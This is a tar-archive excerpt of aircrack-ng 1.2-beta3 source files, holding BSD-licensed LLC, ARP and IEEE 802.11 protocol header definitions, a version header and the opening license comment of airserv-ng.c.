#define LLC_DISC_P 0x53 #define LLC_UA 0x63 #define LLC_UA_P 0x73 #define LLC_TEST 0xe3 #define LLC_TEST_P 0xf3 #define LLC_FRMR 0x87 #define LLC_FRMR_P 0x97 #define LLC_DM 0x0f #define LLC_DM_P 0x1f #define LLC_XID 0xaf #define LLC_XID_P 0xbf #define LLC_SABME 0x6f #define LLC_SABME_P 0x7f /* * Supervisory LLC commands */ #define LLC_RR 0x01 #define LLC_RNR 0x05 #define LLC_REJ 0x09 /* * Info format - dummy only */ #define LLC_INFO 0x00 /* * ISO PDTR 10178 contains among others */ #define LLC_8021D_LSAP 0x42 #define LLC_X25_LSAP 0x7e #define LLC_SNAP_LSAP 0xaa #define LLC_ISO_LSAP 0xfe #endif /* _NET_IF_LLC_H_ */ aircrack-ng-1.2-beta3/src/include/if_arp.h0000644000000000000000000001107110761053203017047 0ustar rootroot/*- * Copyright (c) 1986, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_arp.h 8.1 (Berkeley) 6/10/93 * $FreeBSD: src/sys/net/if_arp.h,v 1.24 2005/11/11 16:04:48 ru Exp $ */ #ifndef _NET_IF_ARP_H_ #define _NET_IF_ARP_H_ /* * Address Resolution Protocol. * * See RFC 826 for protocol description. ARP packets are variable * in size; the arphdr structure defines the fixed-length portion. * Protocol type values are the same as those for 10 Mb/s Ethernet. * It is followed by the variable-sized fields ar_sha, arp_spa, * arp_tha and arp_tpa in that order, according to the lengths * specified. Field names used correspond to RFC 826. */ struct arphdr { u_short ar_hrd; /* format of hardware address */ #define ARPHRD_ETHER 1 /* ethernet hardware format */ #define ARPHRD_IEEE802 6 /* token-ring hardware format */ #define ARPHRD_ARCNET 7 /* arcnet hardware format */ #define ARPHRD_FRELAY 15 /* frame relay hardware format */ #define ARPHRD_IEEE1394 24 /* firewire hardware format */ u_short ar_pro; /* format of protocol address */ u_char ar_hln; /* length of hardware address */ u_char ar_pln; /* length of protocol address */ u_short ar_op; /* one of: */ #define ARPOP_REQUEST 1 /* request to resolve address */ #define ARPOP_REPLY 2 /* response to previous request */ #define ARPOP_REVREQUEST 3 /* request protocol address given hardware */ #define ARPOP_REVREPLY 4 /* response giving protocol address */ #define ARPOP_INVREQUEST 8 /* request to identify peer */ #define ARPOP_INVREPLY 9 /* response identifying peer */ /* * The remaining fields are variable in size, * according to the sizes above. */ #ifdef COMMENT_ONLY u_char ar_sha[]; /* sender hardware address */ u_char ar_spa[]; /* sender protocol address */ u_char ar_tha[]; /* target hardware address */ u_char ar_tpa[]; /* target protocol address */ #endif }; #define ar_sha(ap) (((caddr_t)((ap)+1)) + 0) #define ar_spa(ap) (((caddr_t)((ap)+1)) + (ap)->ar_hln) #define ar_tha(ap) (((caddr_t)((ap)+1)) + (ap)->ar_hln + (ap)->ar_pln) #define ar_tpa(ap) (((caddr_t)((ap)+1)) + 2*(ap)->ar_hln + (ap)->ar_pln) #define arphdr_len2(ar_hln, ar_pln) \ (sizeof(struct arphdr) + 2*(ar_hln) + 2*(ar_pln)) #define arphdr_len(ap) (arphdr_len2((ap)->ar_hln, (ap)->ar_pln)) /* * ARP ioctl request */ struct arpreq { struct sockaddr arp_pa; /* protocol address */ struct sockaddr arp_ha; /* hardware address */ int arp_flags; /* flags */ }; /* arp_flags and at_flags field values */ #define ATF_INUSE 0x01 /* entry in use */ #define ATF_COM 0x02 /* completed entry (enaddr valid) */ #define ATF_PERM 0x04 /* permanent entry */ #define ATF_PUBL 0x08 /* publish entry (respond for other host) */ #define ATF_USETRAILERS 0x10 /* has requested trailers */ #ifdef _KERNEL /* * Structure shared between the ethernet driver modules and * the address resolution code. */ struct arpcom { struct ifnet *ac_ifp; /* network-visible interface */ void *ac_netgraph; /* ng_ether(4) netgraph node info */ }; #define IFP2AC(ifp) ((struct arpcom *)(ifp->if_l2com)) #define AC2IFP(ac) ((ac)->ac_ifp) #endif #endif /* !_NET_IF_ARP_H_ */ aircrack-ng-1.2-beta3/src/include/ieee80211.h0000644000000000000000000004576110761053203017127 0ustar rootroot/*- * Copyright (c) 2001 Atsushi Onoe * Copyright (c) 2002-2005 Sam Leffler, Errno Consulting * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * $FreeBSD: src/sys/net80211/ieee80211.h,v 1.12 2006/12/01 18:40:51 imp Exp $ */ #ifndef _NET80211_IEEE80211_H_ #define _NET80211_IEEE80211_H_ /* * 802.11 protocol definitions. */ #define IEEE80211_ADDR_LEN 6 /* size of 802.11 address */ /* is 802.11 address multicast/broadcast? */ #define IEEE80211_IS_MULTICAST(_a) (*(_a) & 0x01) /* IEEE 802.11 PLCP header */ struct ieee80211_plcp_hdr { u_int16_t i_sfd; u_int8_t i_signal; u_int8_t i_service; u_int16_t i_length; u_int16_t i_crc; } __packed; #define IEEE80211_PLCP_SFD 0xF3A0 #define IEEE80211_PLCP_SERVICE 0x00 /* * generic definitions for IEEE 802.11 frames */ struct ieee80211_frame { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; /* possibly followed by addr4[IEEE80211_ADDR_LEN]; */ /* see below */ } __packed; struct ieee80211_qosframe { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_qos[2]; /* possibly followed by addr4[IEEE80211_ADDR_LEN]; */ /* see below */ } __packed; struct ieee80211_qoscntl { u_int8_t i_qos[2]; }; struct ieee80211_frame_addr4 { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_addr4[IEEE80211_ADDR_LEN]; } __packed; struct ieee80211_qosframe_addr4 { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_addr4[IEEE80211_ADDR_LEN]; u_int8_t i_qos[2]; } __packed; #define IEEE80211_FC0_VERSION_MASK 0x03 #define IEEE80211_FC0_VERSION_SHIFT 0 #define IEEE80211_FC0_VERSION_0 0x00 #define IEEE80211_FC0_TYPE_MASK 0x0c #define IEEE80211_FC0_TYPE_SHIFT 2 #define IEEE80211_FC0_TYPE_MGT 0x00 #define IEEE80211_FC0_TYPE_CTL 0x04 #define IEEE80211_FC0_TYPE_DATA 0x08 #define IEEE80211_FC0_SUBTYPE_MASK 0xf0 #define IEEE80211_FC0_SUBTYPE_SHIFT 4 /* for TYPE_MGT */ #define IEEE80211_FC0_SUBTYPE_ASSOC_REQ 0x00 #define IEEE80211_FC0_SUBTYPE_ASSOC_RESP 0x10 #define IEEE80211_FC0_SUBTYPE_REASSOC_REQ 0x20 #define IEEE80211_FC0_SUBTYPE_REASSOC_RESP 0x30 #define IEEE80211_FC0_SUBTYPE_PROBE_REQ 0x40 #define IEEE80211_FC0_SUBTYPE_PROBE_RESP 0x50 #define IEEE80211_FC0_SUBTYPE_BEACON 0x80 #define IEEE80211_FC0_SUBTYPE_ATIM 0x90 #define IEEE80211_FC0_SUBTYPE_DISASSOC 0xa0 #define IEEE80211_FC0_SUBTYPE_AUTH 0xb0 #define IEEE80211_FC0_SUBTYPE_DEAUTH 0xc0 /* for TYPE_CTL */ #define IEEE80211_FC0_SUBTYPE_PS_POLL 0xa0 #define IEEE80211_FC0_SUBTYPE_RTS 0xb0 #define IEEE80211_FC0_SUBTYPE_CTS 0xc0 #define IEEE80211_FC0_SUBTYPE_ACK 0xd0 #define IEEE80211_FC0_SUBTYPE_CF_END 0xe0 #define IEEE80211_FC0_SUBTYPE_CF_END_ACK 0xf0 /* for TYPE_DATA (bit combination) */ #define IEEE80211_FC0_SUBTYPE_DATA 0x00 #define IEEE80211_FC0_SUBTYPE_CF_ACK 0x10 #define IEEE80211_FC0_SUBTYPE_CF_POLL 0x20 #define IEEE80211_FC0_SUBTYPE_CF_ACPL 0x30 #define IEEE80211_FC0_SUBTYPE_NODATA 0x40 #define IEEE80211_FC0_SUBTYPE_CFACK 0x50 #define IEEE80211_FC0_SUBTYPE_CFPOLL 0x60 #define IEEE80211_FC0_SUBTYPE_CF_ACK_CF_ACK 0x70 #define IEEE80211_FC0_SUBTYPE_QOS 0x80 #define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0 #define IEEE80211_FC1_DIR_MASK 0x03 #define IEEE80211_FC1_DIR_NODS 0x00 /* STA->STA */ #define IEEE80211_FC1_DIR_TODS 0x01 /* STA->AP */ #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define IEEE80211_FC1_DIR_DSTODS 0x03 /* AP ->AP */ #define IEEE80211_FC1_MORE_FRAG 0x04 #define IEEE80211_FC1_RETRY 0x08 #define IEEE80211_FC1_PWR_MGT 0x10 #define IEEE80211_FC1_MORE_DATA 0x20 #define IEEE80211_FC1_WEP 0x40 #define IEEE80211_FC1_ORDER 0x80 #define IEEE80211_SEQ_FRAG_MASK 0x000f #define IEEE80211_SEQ_FRAG_SHIFT 0 #define IEEE80211_SEQ_SEQ_MASK 0xfff0 #define IEEE80211_SEQ_SEQ_SHIFT 4 #define IEEE80211_NWID_LEN 32 #define IEEE80211_QOS_TXOP 0x00ff /* bit 8 is reserved */ #define IEEE80211_QOS_ACKPOLICY 0x60 #define IEEE80211_QOS_ACKPOLICY_S 5 #define IEEE80211_QOS_ESOP 0x10 #define IEEE80211_QOS_ESOP_S 4 #define IEEE80211_QOS_TID 0x0f /* does frame have QoS sequence control data */ #define IEEE80211_QOS_HAS_SEQ(wh) \ (((wh)->i_fc[0] & \ (IEEE80211_FC0_TYPE_MASK | IEEE80211_FC0_SUBTYPE_QOS)) == \ (IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_QOS)) /* * WME/802.11e information element. */ struct ieee80211_wme_info { u_int8_t wme_id; /* IEEE80211_ELEMID_VENDOR */ u_int8_t wme_len; /* length in bytes */ u_int8_t wme_oui[3]; /* 0x00, 0x50, 0xf2 */ u_int8_t wme_type; /* OUI type */ u_int8_t wme_subtype; /* OUI subtype */ u_int8_t wme_version; /* spec revision */ u_int8_t wme_info; /* QoS info */ } __packed; /* * WME/802.11e Tspec Element */ struct ieee80211_wme_tspec { u_int8_t ts_id; u_int8_t ts_len; u_int8_t ts_oui[3]; u_int8_t ts_oui_type; u_int8_t ts_oui_subtype; u_int8_t ts_version; u_int8_t ts_tsinfo[3]; u_int8_t ts_nom_msdu[2]; u_int8_t ts_max_msdu[2]; u_int8_t ts_min_svc[4]; u_int8_t ts_max_svc[4]; u_int8_t ts_inactv_intv[4]; u_int8_t ts_susp_intv[4]; u_int8_t ts_start_svc[4]; u_int8_t ts_min_rate[4]; u_int8_t ts_mean_rate[4]; u_int8_t ts_max_burst[4]; u_int8_t ts_min_phy[4]; u_int8_t ts_peak_rate[4]; u_int8_t ts_delay[4]; u_int8_t ts_surplus[2]; u_int8_t ts_medium_time[2]; } __packed; /* * WME AC parameter field */ struct ieee80211_wme_acparams { u_int8_t acp_aci_aifsn; u_int8_t acp_logcwminmax; u_int16_t acp_txop; } __packed; #define WME_NUM_AC 4 /* 4 AC categories */ #define WME_PARAM_ACI 0x60 /* Mask for ACI field */ #define WME_PARAM_ACI_S 5 /* Shift for ACI field */ #define WME_PARAM_ACM 0x10 /* Mask for ACM bit */ #define WME_PARAM_ACM_S 4 /* Shift for ACM bit */ #define WME_PARAM_AIFSN 0x0f /* Mask for aifsn field */ #define WME_PARAM_AIFSN_S 0 /* Shift for aifsn field */ #define WME_PARAM_LOGCWMIN 0x0f /* Mask for CwMin field (in log) */ #define WME_PARAM_LOGCWMIN_S 0 /* Shift for CwMin field */ #define WME_PARAM_LOGCWMAX 0xf0 /* Mask for CwMax field (in log) */ #define WME_PARAM_LOGCWMAX_S 4 /* Shift for CwMax field */ #define WME_AC_TO_TID(_ac) ( \ ((_ac) == WME_AC_VO) ? 6 : \ ((_ac) == WME_AC_VI) ? 5 : \ ((_ac) == WME_AC_BK) ? 1 : \ 0) #define TID_TO_WME_AC(_tid) ( \ ((_tid) < 1) ? WME_AC_BE : \ ((_tid) < 3) ? WME_AC_BK : \ ((_tid) < 6) ? WME_AC_VI : \ WME_AC_VO) /* * WME Parameter Element */ struct ieee80211_wme_param { u_int8_t param_id; u_int8_t param_len; u_int8_t param_oui[3]; u_int8_t param_oui_type; u_int8_t param_oui_sybtype; u_int8_t param_version; u_int8_t param_qosInfo; #define WME_QOSINFO_COUNT 0x0f /* Mask for param count field */ u_int8_t param_reserved; struct ieee80211_wme_acparams params_acParams[WME_NUM_AC]; } __packed; /* * Management Notification Frame */ struct ieee80211_mnf { u_int8_t mnf_category; u_int8_t mnf_action; u_int8_t mnf_dialog; u_int8_t mnf_status; } __packed; #define MNF_SETUP_REQ 0 #define MNF_SETUP_RESP 1 #define MNF_TEARDOWN 2 /* * Control frames. */ struct ieee80211_frame_min { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_rts { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; u_int8_t i_ta[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_cts { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_ack { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_pspoll { u_int8_t i_fc[2]; u_int8_t i_aid[2]; u_int8_t i_bssid[IEEE80211_ADDR_LEN]; u_int8_t i_ta[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_cfend { /* NB: also CF-End+CF-Ack */ u_int8_t i_fc[2]; u_int8_t i_dur[2]; /* should be zero */ u_int8_t i_ra[IEEE80211_ADDR_LEN]; u_int8_t i_bssid[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; /* * BEACON management packets * * octet timestamp[8] * octet beacon interval[2] * octet capability information[2] * information element * octet elemid * octet length * octet information[length] */ typedef u_int8_t *ieee80211_mgt_beacon_t; #define IEEE80211_BEACON_INTERVAL(beacon) \ ((beacon)[8] | ((beacon)[9] << 8)) #define IEEE80211_BEACON_CAPABILITY(beacon) \ ((beacon)[10] | ((beacon)[11] << 8)) #define IEEE80211_CAPINFO_ESS 0x0001 #define IEEE80211_CAPINFO_IBSS 0x0002 #define IEEE80211_CAPINFO_CF_POLLABLE 0x0004 #define IEEE80211_CAPINFO_CF_POLLREQ 0x0008 #define IEEE80211_CAPINFO_PRIVACY 0x0010 #define IEEE80211_CAPINFO_SHORT_PREAMBLE 0x0020 #define IEEE80211_CAPINFO_PBCC 0x0040 #define IEEE80211_CAPINFO_CHNL_AGILITY 0x0080 /* bits 8-9 are reserved */ #define IEEE80211_CAPINFO_SHORT_SLOTTIME 0x0400 #define IEEE80211_CAPINFO_RSN 0x0800 /* bit 12 is reserved */ #define IEEE80211_CAPINFO_DSSSOFDM 0x2000 /* bits 14-15 are reserved */ /* * 802.11i/WPA information element (maximally sized). */ struct ieee80211_ie_wpa { u_int8_t wpa_id; /* IEEE80211_ELEMID_VENDOR */ u_int8_t wpa_len; /* length in bytes */ u_int8_t wpa_oui[3]; /* 0x00, 0x50, 0xf2 */ u_int8_t wpa_type; /* OUI type */ u_int16_t wpa_version; /* spec revision */ u_int32_t wpa_mcipher[1]; /* multicast/group key cipher */ u_int16_t wpa_uciphercnt; /* # pairwise key ciphers */ u_int32_t wpa_uciphers[8];/* ciphers */ u_int16_t wpa_authselcnt; /* authentication selector cnt*/ u_int32_t wpa_authsels[8];/* selectors */ u_int16_t wpa_caps; /* 802.11i capabilities */ u_int16_t wpa_pmkidcnt; /* 802.11i pmkid count */ u_int16_t wpa_pmkids[8]; /* 802.11i pmkids */ } __packed; /* * Management information element payloads. */ enum { IEEE80211_ELEMID_SSID = 0, IEEE80211_ELEMID_RATES = 1, IEEE80211_ELEMID_FHPARMS = 2, IEEE80211_ELEMID_DSPARMS = 3, IEEE80211_ELEMID_CFPARMS = 4, IEEE80211_ELEMID_TIM = 5, IEEE80211_ELEMID_IBSSPARMS = 6, IEEE80211_ELEMID_COUNTRY = 7, IEEE80211_ELEMID_CHALLENGE = 16, /* 17-31 reserved for challenge text extension */ IEEE80211_ELEMID_ERP = 42, IEEE80211_ELEMID_RSN = 48, IEEE80211_ELEMID_XRATES = 50, IEEE80211_ELEMID_TPC = 150, IEEE80211_ELEMID_CCKM = 156, IEEE80211_ELEMID_VENDOR = 221, /* vendor private */ }; struct ieee80211_tim_ie { u_int8_t tim_ie; /* IEEE80211_ELEMID_TIM */ u_int8_t tim_len; u_int8_t tim_count; /* DTIM count */ u_int8_t tim_period; /* DTIM period */ u_int8_t tim_bitctl; /* bitmap control */ u_int8_t tim_bitmap[1]; /* variable-length bitmap */ } __packed; struct ieee80211_country_ie { u_int8_t ie; /* IEEE80211_ELEMID_COUNTRY */ u_int8_t len; u_int8_t cc[3]; /* ISO CC+(I)ndoor/(O)utdoor */ struct { u_int8_t schan; /* starting channel */ u_int8_t nchan; /* number channels */ u_int8_t maxtxpwr; /* tx power cap */ } __packed band[4]; /* up to 4 sub bands */ } __packed; #define IEEE80211_CHALLENGE_LEN 128 #define IEEE80211_RATE_BASIC 0x80 #define IEEE80211_RATE_VAL 0x7f /* EPR information element flags */ #define IEEE80211_ERP_NON_ERP_PRESENT 0x01 #define IEEE80211_ERP_USE_PROTECTION 0x02 #define IEEE80211_ERP_LONG_PREAMBLE 0x04 /* Atheros private advanced capabilities info */ #define ATHEROS_CAP_TURBO_PRIME 0x01 #define ATHEROS_CAP_COMPRESSION 0x02 #define ATHEROS_CAP_FAST_FRAME 0x04 /* bits 3-6 reserved */ #define ATHEROS_CAP_BOOST 0x80 #define ATH_OUI 0x7f0300 /* Atheros OUI */ #define ATH_OUI_TYPE 0x01 #define ATH_OUI_VERSION 0x01 #define WPA_OUI 0xf25000 #define WPA_OUI_TYPE 0x01 #define WPA_VERSION 1 /* current supported version */ #define WPA_CSE_NULL 0x00 #define WPA_CSE_WEP40 0x01 #define WPA_CSE_TKIP 0x02 #define WPA_CSE_CCMP 0x04 #define WPA_CSE_WEP104 0x05 #define WPA_ASE_NONE 0x00 #define WPA_ASE_8021X_UNSPEC 0x01 #define WPA_ASE_8021X_PSK 0x02 #define RSN_OUI 0xac0f00 #define RSN_VERSION 1 /* current supported version */ #define RSN_CSE_NULL 0x00 #define RSN_CSE_WEP40 0x01 #define RSN_CSE_TKIP 0x02 #define RSN_CSE_WRAP 0x03 #define RSN_CSE_CCMP 0x04 #define RSN_CSE_WEP104 0x05 #define RSN_ASE_NONE 0x00 #define RSN_ASE_8021X_UNSPEC 0x01 #define RSN_ASE_8021X_PSK 0x02 #define RSN_CAP_PREAUTH 0x01 #define WME_OUI 0xf25000 #define WME_OUI_TYPE 0x02 #define WME_INFO_OUI_SUBTYPE 0x00 #define WME_PARAM_OUI_SUBTYPE 0x01 #define WME_VERSION 1 /* WME stream classes */ #define WME_AC_BE 0 /* best effort */ #define WME_AC_BK 1 /* background */ #define WME_AC_VI 2 /* video */ #define WME_AC_VO 3 /* voice */ /* * AUTH management packets * * octet algo[2] * octet seq[2] * octet status[2] * octet chal.id * octet chal.length * octet chal.text[253] */ typedef u_int8_t *ieee80211_mgt_auth_t; #define IEEE80211_AUTH_ALGORITHM(auth) \ ((auth)[0] | ((auth)[1] << 8)) #define IEEE80211_AUTH_TRANSACTION(auth) \ ((auth)[2] | ((auth)[3] << 8)) #define IEEE80211_AUTH_STATUS(auth) \ ((auth)[4] | ((auth)[5] << 8)) #define IEEE80211_AUTH_ALG_OPEN 0x0000 #define IEEE80211_AUTH_ALG_SHARED 0x0001 #define IEEE80211_AUTH_ALG_LEAP 0x0080 enum { IEEE80211_AUTH_OPEN_REQUEST = 1, IEEE80211_AUTH_OPEN_RESPONSE = 2, }; enum { IEEE80211_AUTH_SHARED_REQUEST = 1, IEEE80211_AUTH_SHARED_CHALLENGE = 2, IEEE80211_AUTH_SHARED_RESPONSE = 3, IEEE80211_AUTH_SHARED_PASS = 4, }; /* * Reason codes * * Unlisted codes are reserved */ enum { IEEE80211_REASON_UNSPECIFIED = 1, IEEE80211_REASON_AUTH_EXPIRE = 2, IEEE80211_REASON_AUTH_LEAVE = 3, IEEE80211_REASON_ASSOC_EXPIRE = 4, IEEE80211_REASON_ASSOC_TOOMANY = 5, IEEE80211_REASON_NOT_AUTHED = 6, IEEE80211_REASON_NOT_ASSOCED = 7, IEEE80211_REASON_ASSOC_LEAVE = 8, IEEE80211_REASON_ASSOC_NOT_AUTHED = 9, IEEE80211_REASON_RSN_REQUIRED = 11, IEEE80211_REASON_RSN_INCONSISTENT = 12, IEEE80211_REASON_IE_INVALID = 13, IEEE80211_REASON_MIC_FAILURE = 14, IEEE80211_STATUS_SUCCESS = 0, IEEE80211_STATUS_UNSPECIFIED = 1, IEEE80211_STATUS_CAPINFO = 10, IEEE80211_STATUS_NOT_ASSOCED = 11, IEEE80211_STATUS_OTHER = 12, IEEE80211_STATUS_ALG = 13, IEEE80211_STATUS_SEQUENCE = 14, IEEE80211_STATUS_CHALLENGE = 15, IEEE80211_STATUS_TIMEOUT = 16, IEEE80211_STATUS_TOOMANY = 17, IEEE80211_STATUS_BASIC_RATE = 18, IEEE80211_STATUS_SP_REQUIRED = 19, IEEE80211_STATUS_PBCC_REQUIRED = 20, IEEE80211_STATUS_CA_REQUIRED = 21, IEEE80211_STATUS_TOO_MANY_STATIONS = 22, IEEE80211_STATUS_RATES = 23, IEEE80211_STATUS_SHORTSLOT_REQUIRED = 25, IEEE80211_STATUS_DSSSOFDM_REQUIRED = 26, }; #define IEEE80211_WEP_KEYLEN 5 /* 40bit */ #define IEEE80211_WEP_IVLEN 3 /* 24bit */ #define IEEE80211_WEP_KIDLEN 1 /* 1 octet */ #define IEEE80211_WEP_CRCLEN 4 /* CRC-32 */ #define IEEE80211_WEP_NKID 4 /* number of key ids */ /* * 802.11i defines an extended IV for use with non-WEP ciphers. * When the EXTIV bit is set in the key id byte an additional * 4 bytes immediately follow the IV for TKIP. For CCMP the * EXTIV bit is likewise set but the 8 bytes represent the * CCMP header rather than IV+extended-IV. */ #define IEEE80211_WEP_EXTIV 0x20 #define IEEE80211_WEP_EXTIVLEN 4 /* extended IV length */ #define IEEE80211_WEP_MICLEN 8 /* trailing MIC */ #define IEEE80211_CRC_LEN 4 /* * Maximum acceptable MTU is: * IEEE80211_MAX_LEN - WEP overhead - CRC - * QoS overhead - RSN/WPA overhead * Min is arbitrarily chosen > IEEE80211_MIN_LEN. The default * mtu is Ethernet-compatible; it's set by ether_ifattach. */ #define IEEE80211_MTU_MAX 2290 #define IEEE80211_MTU_MIN 32 #define IEEE80211_MAX_LEN (2300 + IEEE80211_CRC_LEN + \ (IEEE80211_WEP_IVLEN + IEEE80211_WEP_KIDLEN + IEEE80211_WEP_CRCLEN)) #define IEEE80211_ACK_LEN \ (sizeof(struct ieee80211_frame_ack) + IEEE80211_CRC_LEN) #define IEEE80211_MIN_LEN \ (sizeof(struct ieee80211_frame_min) + IEEE80211_CRC_LEN) /* * The 802.11 spec says at most 2007 stations may be * associated at once. For most AP's this is way more * than is feasible so we use a default of 128. This * number may be overridden by the driver and/or by * user configuration. */ #define IEEE80211_AID_MAX 2007 #define IEEE80211_AID_DEF 128 #define IEEE80211_AID(b) ((b) &~ 0xc000) /* * RTS frame length parameters. The default is specified in * the 802.11 spec as 512; we treat it as implementation-dependent * so it's defined in ieee80211_var.h. The max may be wrong * for jumbo frames. */ #define IEEE80211_RTS_MIN 1 #define IEEE80211_RTS_MAX 2346 /* * TX fragmentation parameters. As above for RTS, we treat * default as implementation-dependent so define it elsewhere. */ #define IEEE80211_FRAG_MIN 256 #define IEEE80211_FRAG_MAX 2346 /* * Beacon interval (TU's). Min+max come from WiFi requirements. * As above, we treat default as implementation-dependent so * define it elsewhere. */ #define IEEE80211_BINTVAL_MAX 1000 /* max beacon interval (TU's) */ #define IEEE80211_BINTVAL_MIN 25 /* min beacon interval (TU's) */ /* * DTIM period (beacons). Min+max are not really defined * by the protocol but we want them publicly visible so * define them here. */ #define IEEE80211_DTIM_MAX 15 /* max DTIM period */ #define IEEE80211_DTIM_MIN 1 /* min DTIM period */ /* * Beacon miss threshold (beacons). As for DTIM, we define * them here to be publicly visible. Note the max may be * clamped depending on device capabilities. */ #define IEEE80211_HWBMISS_MIN 1 #define IEEE80211_HWBMISS_MAX 255 #endif /* _NET80211_IEEE80211_H_ */ aircrack-ng-1.2-beta3/src/version.h0000644000000000000000000000341212316414264015657 0ustar rootroot/* * (c) 2010-2012 Thomas D'Otreppe * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #define _MAJ 1 #define _MIN 2 #define _SUB_MIN 0 #define _BETA 3 #define _RC 0 #define WEBSITE "http://www.aircrack-ng.org" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); aircrack-ng-1.2-beta3/src/airserv-ng.c0000644000000000000000000002555212150241760016246 0ustar rootroot /* * Server for osdep network driver. Uses osdep itself! [ph33r teh recursion] * * Copyright (c) 2007, 2008, 2009 Andrea Bittau * * Advanced WEP attacks developed by KoreK * WPA-PSK attack code developed by Joshua Wright * SHA1 MMX assembly code written by Simon Marechal * * This program is free software; 